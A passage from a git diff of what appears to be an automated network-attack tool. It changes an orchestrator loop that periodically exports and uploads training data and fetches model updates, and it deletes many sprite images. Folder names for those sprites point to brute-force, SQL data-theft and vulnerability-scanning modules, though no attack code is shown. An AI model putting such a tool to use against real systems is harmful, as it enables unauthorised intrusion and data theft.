(even if busy) + current_time = time.time() + sync_interval = int(getattr(self.shared_data, "ai_sync_interval", 60)) + if current_time - self._last_background_task > sync_interval: + self._process_background_tasks() + self._last_background_task = current_time + except Exception as e: logger.error(f"Error in orchestrator loop: {e}") - time.sleep(1) + time.sleep(self._loop_error_backoff) + self._loop_error_backoff = min(self._loop_error_backoff * 2.0, 10.0) - # Cleanup on exit + # Cleanup on exit (OUTSIDE while loop) if self.scheduler: self.scheduler.stop() + self.shared_data.queue_event.set() + if self.scheduler_thread and self.scheduler_thread.is_alive(): + self.scheduler_thread.join(timeout=10.0) + if self.scheduler_thread.is_alive(): + logger.warning("ActionScheduler thread did not exit cleanly") logger.info("Orchestrator stopped") + def _process_background_tasks(self): + """Run periodic tasks like consolidation, upload retries, and model updates (AI mode only).""" + if not (self.ai_enabled and self.shared_data.operation_mode == "AI"): + return + + ai_server_contact_events: List[bool] = [] + + try: + # Consolidate features + batch_size = int(getattr(self.shared_data, "ai_batch_size", 100)) + max_batches = max(1, int(getattr(self.shared_data, "ai_consolidation_max_batches", 2))) + stats = self.data_consolidator.consolidate_features( + batch_size=batch_size, + max_batches=max_batches, + ) + + if stats.get("records_processed", 0) > 0: + logger.info(f"AI Consolidation: {stats['records_processed']} records processed") + logger.debug(f"DEBUG STATS: {stats}") + + # Auto-export after consolidation + max_export_records = max(100, int(getattr(self.shared_data, "ai_export_max_records", 1000))) + filepath, count = self.data_consolidator.export_for_training( + format="csv", + compress=True, + max_records=max_export_records, + ) + if filepath: + logger.info(f"AI export ready: {count} records -> {filepath}") + self.data_consolidator.upload_to_server(filepath) + if getattr(self.data_consolidator, "last_server_attempted", False): + ai_server_contact_events.append( + bool(getattr(self.data_consolidator, "last_server_contact_ok", False)) + ) + + # Always retry any pending uploads when the server comes back. + self.data_consolidator.flush_pending_uploads(max_files=2) + if getattr(self.data_consolidator, "last_server_attempted", False): + ai_server_contact_events.append( + bool(getattr(self.data_consolidator, "last_server_contact_ok", False)) + ) + + except Exception as e: + logger.info_throttled( + f"AI background tasks skipped: {e}", + key="orch_ai_background_failed", + interval_s=120.0, + ) + + # Check for model updates (tolerant when server is offline) + try: + if self.ai_engine and self.ai_engine.check_for_updates(): + logger.info("AI model updated from server") + if self.ai_engine and getattr(self.ai_engine, "last_server_attempted", False): + ai_server_contact_events.append( + bool(getattr(self.ai_engine, "last_server_contact_ok", False)) + ) + elif self.ai_engine and not bool(getattr(self.ai_engine, "model_loaded", False)): + # No model loaded and no successful server contact path this cycle. + ai_server_contact_events.append(False) + except Exception as e: + logger.debug(f"AI model update check skipped: {e}") + + self._update_ai_server_health(ai_server_contact_events) + if __name__ == "__main__": orchestrator = Orchestrator() - orchestrator.run() \ No newline at end of file + orchestrator.run() diff --git a/resources/default_config/characters/ALVA/static/0.bmp b/resources/default_config/characters/ALVA/static/0.bmp deleted file mode 100644 index 8982328..0000000 Binary files a/resources/default_config/characters/ALVA/static/0.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/static/100.bmp b/resources/default_config/characters/ALVA/static/100.bmp deleted file mode 100644 index 4229b5b..0000000 Binary files a/resources/default_config/characters/ALVA/static/100.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/static/25.bmp b/resources/default_config/characters/ALVA/static/25.bmp deleted file mode 100644 index 9b51eec..0000000 Binary files a/resources/default_config/characters/ALVA/static/25.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/static/50.bmp b/resources/default_config/characters/ALVA/static/50.bmp deleted file mode 100644 index dfffc4e..0000000 Binary files a/resources/default_config/characters/ALVA/static/50.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/static/75.bmp b/resources/default_config/characters/ALVA/static/75.bmp deleted file mode 100644 index 86f4638..0000000 Binary files a/resources/default_config/characters/ALVA/static/75.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/static/AI.bmp b/resources/default_config/characters/ALVA/static/AI.bmp deleted file mode 100644 index 819dac8..0000000 Binary files a/resources/default_config/characters/ALVA/static/AI.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/static/attack.bmp b/resources/default_config/characters/ALVA/static/attack.bmp deleted file mode 100644 index 62ead1d..0000000 Binary files a/resources/default_config/characters/ALVA/static/attack.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/static/attacks.bmp b/resources/default_config/characters/ALVA/static/attacks.bmp deleted file mode 100644 index 4a0a5be..0000000 Binary files a/resources/default_config/characters/ALVA/static/attacks.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/static/auto.bmp b/resources/default_config/characters/ALVA/static/auto.bmp deleted file mode 100644 index 12b6f4f..0000000 Binary files a/resources/default_config/characters/ALVA/static/auto.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/static/bjorn1.bmp b/resources/default_config/characters/ALVA/static/bjorn1.bmp deleted file mode 100644 index 1c81cf6..0000000 Binary files a/resources/default_config/characters/ALVA/static/bjorn1.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/static/bluetooth.bmp b/resources/default_config/characters/ALVA/static/bluetooth.bmp deleted file mode 100644 index 58e2079..0000000 Binary files a/resources/default_config/characters/ALVA/static/bluetooth.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/static/charging.bmp b/resources/default_config/characters/ALVA/static/charging.bmp deleted file mode 100644 index 5836eaf..0000000 Binary files a/resources/default_config/characters/ALVA/static/charging.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/static/charging1.bmp b/resources/default_config/characters/ALVA/static/charging1.bmp deleted file mode 100644 index 4482007..0000000 Binary files a/resources/default_config/characters/ALVA/static/charging1.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/static/connected.bmp b/resources/default_config/characters/ALVA/static/connected.bmp deleted file mode 100644 index 25c82fb..0000000 Binary files a/resources/default_config/characters/ALVA/static/connected.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/static/cred.bmp b/resources/default_config/characters/ALVA/static/cred.bmp deleted file mode 100644 index 47ea10c..0000000 Binary files a/resources/default_config/characters/ALVA/static/cred.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/static/data.bmp b/resources/default_config/characters/ALVA/static/data.bmp deleted file mode 100644 index f38e7d4..0000000 Binary files a/resources/default_config/characters/ALVA/static/data.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/static/ethernet.bmp b/resources/default_config/characters/ALVA/static/ethernet.bmp deleted file mode 100644 index c5e20d8..0000000 Binary files a/resources/default_config/characters/ALVA/static/ethernet.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/static/frise.bmp b/resources/default_config/characters/ALVA/static/frise.bmp deleted file mode 100644 index 1729551..0000000 Binary files a/resources/default_config/characters/ALVA/static/frise.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/static/gold.bmp b/resources/default_config/characters/ALVA/static/gold.bmp deleted file mode 100644 index c729f59..0000000 Binary files a/resources/default_config/characters/ALVA/static/gold.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/static/level.bmp b/resources/default_config/characters/ALVA/static/level.bmp deleted file mode 100644 index 42f2a68..0000000 Binary files a/resources/default_config/characters/ALVA/static/level.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/static/manual.bmp b/resources/default_config/characters/ALVA/static/manual.bmp deleted file mode 100644 index 0c1954d..0000000 Binary files a/resources/default_config/characters/ALVA/static/manual.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/static/money.bmp b/resources/default_config/characters/ALVA/static/money.bmp deleted file mode 100644 index cd3a033..0000000 Binary files a/resources/default_config/characters/ALVA/static/money.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/static/networkkb.bmp b/resources/default_config/characters/ALVA/static/networkkb.bmp deleted file mode 100644 index 967d706..0000000 Binary files a/resources/default_config/characters/ALVA/static/networkkb.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/static/port.bmp b/resources/default_config/characters/ALVA/static/port.bmp deleted file mode 100644 index 0917334..0000000 Binary files a/resources/default_config/characters/ALVA/static/port.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/static/target.bmp b/resources/default_config/characters/ALVA/static/target.bmp deleted file mode 100644 index 9808765..0000000 Binary files a/resources/default_config/characters/ALVA/static/target.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/static/usb.bmp b/resources/default_config/characters/ALVA/static/usb.bmp deleted file mode 100644 index 5a13b47..0000000 Binary files a/resources/default_config/characters/ALVA/static/usb.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/static/vuln.bmp b/resources/default_config/characters/ALVA/static/vuln.bmp deleted file mode 100644 index b8547b5..0000000 Binary files a/resources/default_config/characters/ALVA/static/vuln.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/static/wifi.bmp b/resources/default_config/characters/ALVA/static/wifi.bmp deleted file mode 100644 index eb95ff9..0000000 Binary files a/resources/default_config/characters/ALVA/static/wifi.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/static/zombie.bmp b/resources/default_config/characters/ALVA/static/zombie.bmp deleted file mode 100644 index 4dfb112..0000000 Binary files a/resources/default_config/characters/ALVA/static/zombie.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/BerserkerForce/BerserkerForce.bmp b/resources/default_config/characters/ALVA/status/BerserkerForce/BerserkerForce.bmp deleted file mode 100644 index e8f452c..0000000 Binary files a/resources/default_config/characters/ALVA/status/BerserkerForce/BerserkerForce.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/FTPBruteforce/FTPBruteforce.bmp b/resources/default_config/characters/ALVA/status/FTPBruteforce/FTPBruteforce.bmp deleted file mode 100644 index 26a80ce..0000000 Binary files a/resources/default_config/characters/ALVA/status/FTPBruteforce/FTPBruteforce.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/FTPBruteforce/FTPBruteforce1.bmp b/resources/default_config/characters/ALVA/status/FTPBruteforce/FTPBruteforce1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/ALVA/status/FTPBruteforce/FTPBruteforce1.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/IDLE/IDLE.bmp b/resources/default_config/characters/ALVA/status/IDLE/IDLE.bmp deleted file mode 100644 index 45583cb..0000000 Binary files a/resources/default_config/characters/ALVA/status/IDLE/IDLE.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/IDLE/IDLE1.bmp b/resources/default_config/characters/ALVA/status/IDLE/IDLE1.bmp deleted file mode 100644 index ae02811..0000000 Binary files a/resources/default_config/characters/ALVA/status/IDLE/IDLE1.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/IDLE/IDLE2.bmp b/resources/default_config/characters/ALVA/status/IDLE/IDLE2.bmp deleted file mode 100644 index fe026b5..0000000 Binary files a/resources/default_config/characters/ALVA/status/IDLE/IDLE2.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/IDLE/IDLE3.bmp b/resources/default_config/characters/ALVA/status/IDLE/IDLE3.bmp deleted file mode 100644 index f8ce050..0000000 Binary files a/resources/default_config/characters/ALVA/status/IDLE/IDLE3.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/IDLE/IDLE4.bmp b/resources/default_config/characters/ALVA/status/IDLE/IDLE4.bmp deleted file mode 100644 index 25f8b4c..0000000 Binary files a/resources/default_config/characters/ALVA/status/IDLE/IDLE4.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner.bmp b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner.bmp deleted file mode 100644 index 45a466f..0000000 Binary files a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner1.bmp b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner1.bmp deleted file mode 100644 index 939dc2e..0000000 Binary files a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner1.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner2.bmp b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner2.bmp deleted file mode 100644 index 1bed73c..0000000 Binary files a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner2.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner3.bmp b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner3.bmp deleted file mode 100644 index 35cc8c5..0000000 Binary files a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner3.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner4.bmp b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner4.bmp deleted file mode 100644 index 2883594..0000000 Binary files a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner4.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner5.bmp b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner5.bmp deleted file mode 100644 index 2bd1847..0000000 Binary files a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner5.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner6.bmp b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner6.bmp deleted file mode 100644 index 643b052..0000000 Binary files a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner6.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner7.bmp b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner7.bmp deleted file mode 100644 index 2742da4..0000000 Binary files a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner7.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner8.bmp b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner8.bmp deleted file mode 100644 index eaa2472..0000000 Binary files a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner8.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner.bmp b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner.bmp deleted file mode 100644 index dadf656..0000000 Binary files a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner1.bmp b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner1.bmp deleted file mode 100644 index 939dc2e..0000000 Binary files a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner1.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner2.bmp b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner2.bmp deleted file mode 100644 index 1bed73c..0000000 Binary files a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner2.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner3.bmp b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner3.bmp deleted file mode 100644 index 35cc8c5..0000000 Binary files a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner3.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner4.bmp b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner4.bmp deleted file mode 100644 index 2883594..0000000 Binary files a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner4.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner5.bmp b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner5.bmp deleted file mode 100644 index 2bd1847..0000000 Binary files a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner5.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner6.bmp b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner6.bmp deleted file mode 100644 index 643b052..0000000 Binary files a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner6.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner7.bmp b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner7.bmp deleted file mode 100644 index 2742da4..0000000 Binary files a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner7.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner8.bmp b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner8.bmp deleted file mode 100644 index eaa2472..0000000 Binary files a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner8.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce.bmp deleted file mode 100644 index f8a5393..0000000 Binary files a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce1.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce1.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce10.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce10.bmp deleted file mode 100644 index a6cd3fb..0000000 Binary files a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce10.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce11.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce11.bmp deleted file mode 100644 index 9616013..0000000 Binary files a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce11.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce12.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce12.bmp deleted file mode 100644 index 1848bb0..0000000 Binary files a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce12.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce13.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce13.bmp deleted file mode 100644 index a473218..0000000 Binary files a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce13.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce2.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce2.bmp deleted file mode 100644 index b68803a..0000000 Binary files a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce2.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce3.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce3.bmp deleted file mode 100644 index 13eaf41..0000000 Binary files a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce3.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce4.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce4.bmp deleted file mode 100644 index 580b967..0000000 Binary files a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce4.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce5.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce5.bmp deleted file mode 100644 index 68fe849..0000000 Binary files a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce5.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce6.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce6.bmp deleted file mode 100644 index c7b26b5..0000000 Binary files a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce6.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce7.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce7.bmp deleted file mode 100644 index 474c315..0000000 Binary files a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce7.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce8.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce8.bmp deleted file mode 100644 index 353d54a..0000000 Binary files a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce8.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce9.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce9.bmp deleted file mode 100644 index 33ab580..0000000 Binary files a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce9.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SQLBruteforce/SQLBruteforce.bmp b/resources/default_config/characters/ALVA/status/SQLBruteforce/SQLBruteforce.bmp deleted file mode 100644 index 9db4d23..0000000 Binary files a/resources/default_config/characters/ALVA/status/SQLBruteforce/SQLBruteforce.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SQLBruteforce/SQLBruteforce1.bmp b/resources/default_config/characters/ALVA/status/SQLBruteforce/SQLBruteforce1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/ALVA/status/SQLBruteforce/SQLBruteforce1.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce.bmp deleted file mode 100644 index f7c8c88..0000000 Binary files a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce1.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce1.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce10.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce10.bmp deleted file mode 100644 index c7b26b5..0000000 Binary files a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce10.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce11.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce11.bmp deleted file mode 100644 index 474c315..0000000 Binary files a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce11.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce12.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce12.bmp deleted file mode 100644 index 353d54a..0000000 Binary files a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce12.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce13.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce13.bmp deleted file mode 100644 index 33ab580..0000000 Binary files a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce13.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce2.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce2.bmp deleted file mode 100644 index a6cd3fb..0000000 Binary files a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce2.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce3.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce3.bmp deleted file mode 100644 index 9616013..0000000 Binary files a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce3.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce4.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce4.bmp deleted file mode 100644 index 1848bb0..0000000 Binary files a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce4.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce5.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce5.bmp deleted file mode 100644 index a473218..0000000 Binary files a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce5.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce6.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce6.bmp deleted file mode 100644 index b68803a..0000000 Binary files a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce6.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce7.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce7.bmp deleted file mode 100644 index 13eaf41..0000000 Binary files a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce7.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce8.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce8.bmp deleted file mode 100644 index 580b967..0000000 Binary files a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce8.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce9.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce9.bmp deleted file mode 100644 index 68fe849..0000000 Binary files a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce9.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL.bmp deleted file mode 100644 index 1c81cf6..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL1.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL1.bmp deleted file mode 100644 index 378babe..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL1.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL10.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL10.bmp deleted file mode 100644 index 580b967..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL10.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL2.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL2.bmp deleted file mode 100644 index c7b26b5..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL2.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL3.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL3.bmp deleted file mode 100644 index 474c315..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL3.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL4.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL4.bmp deleted file mode 100644 index 33ab580..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL4.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL5.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL5.bmp deleted file mode 100644 index a6cd3fb..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL5.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL6.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL6.bmp deleted file mode 100644 index 1848bb0..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL6.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL7.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL7.bmp deleted file mode 100644 index a473218..0000000 Binary files a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL7.bmp and /dev/null differ diff --git a/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL8.bmp b/resources/default_config/characters/ALVA/status/StealDataSQL/StealDataSQL8.bmp deleted file mode 100644 index b68803a..0000000 Binary files 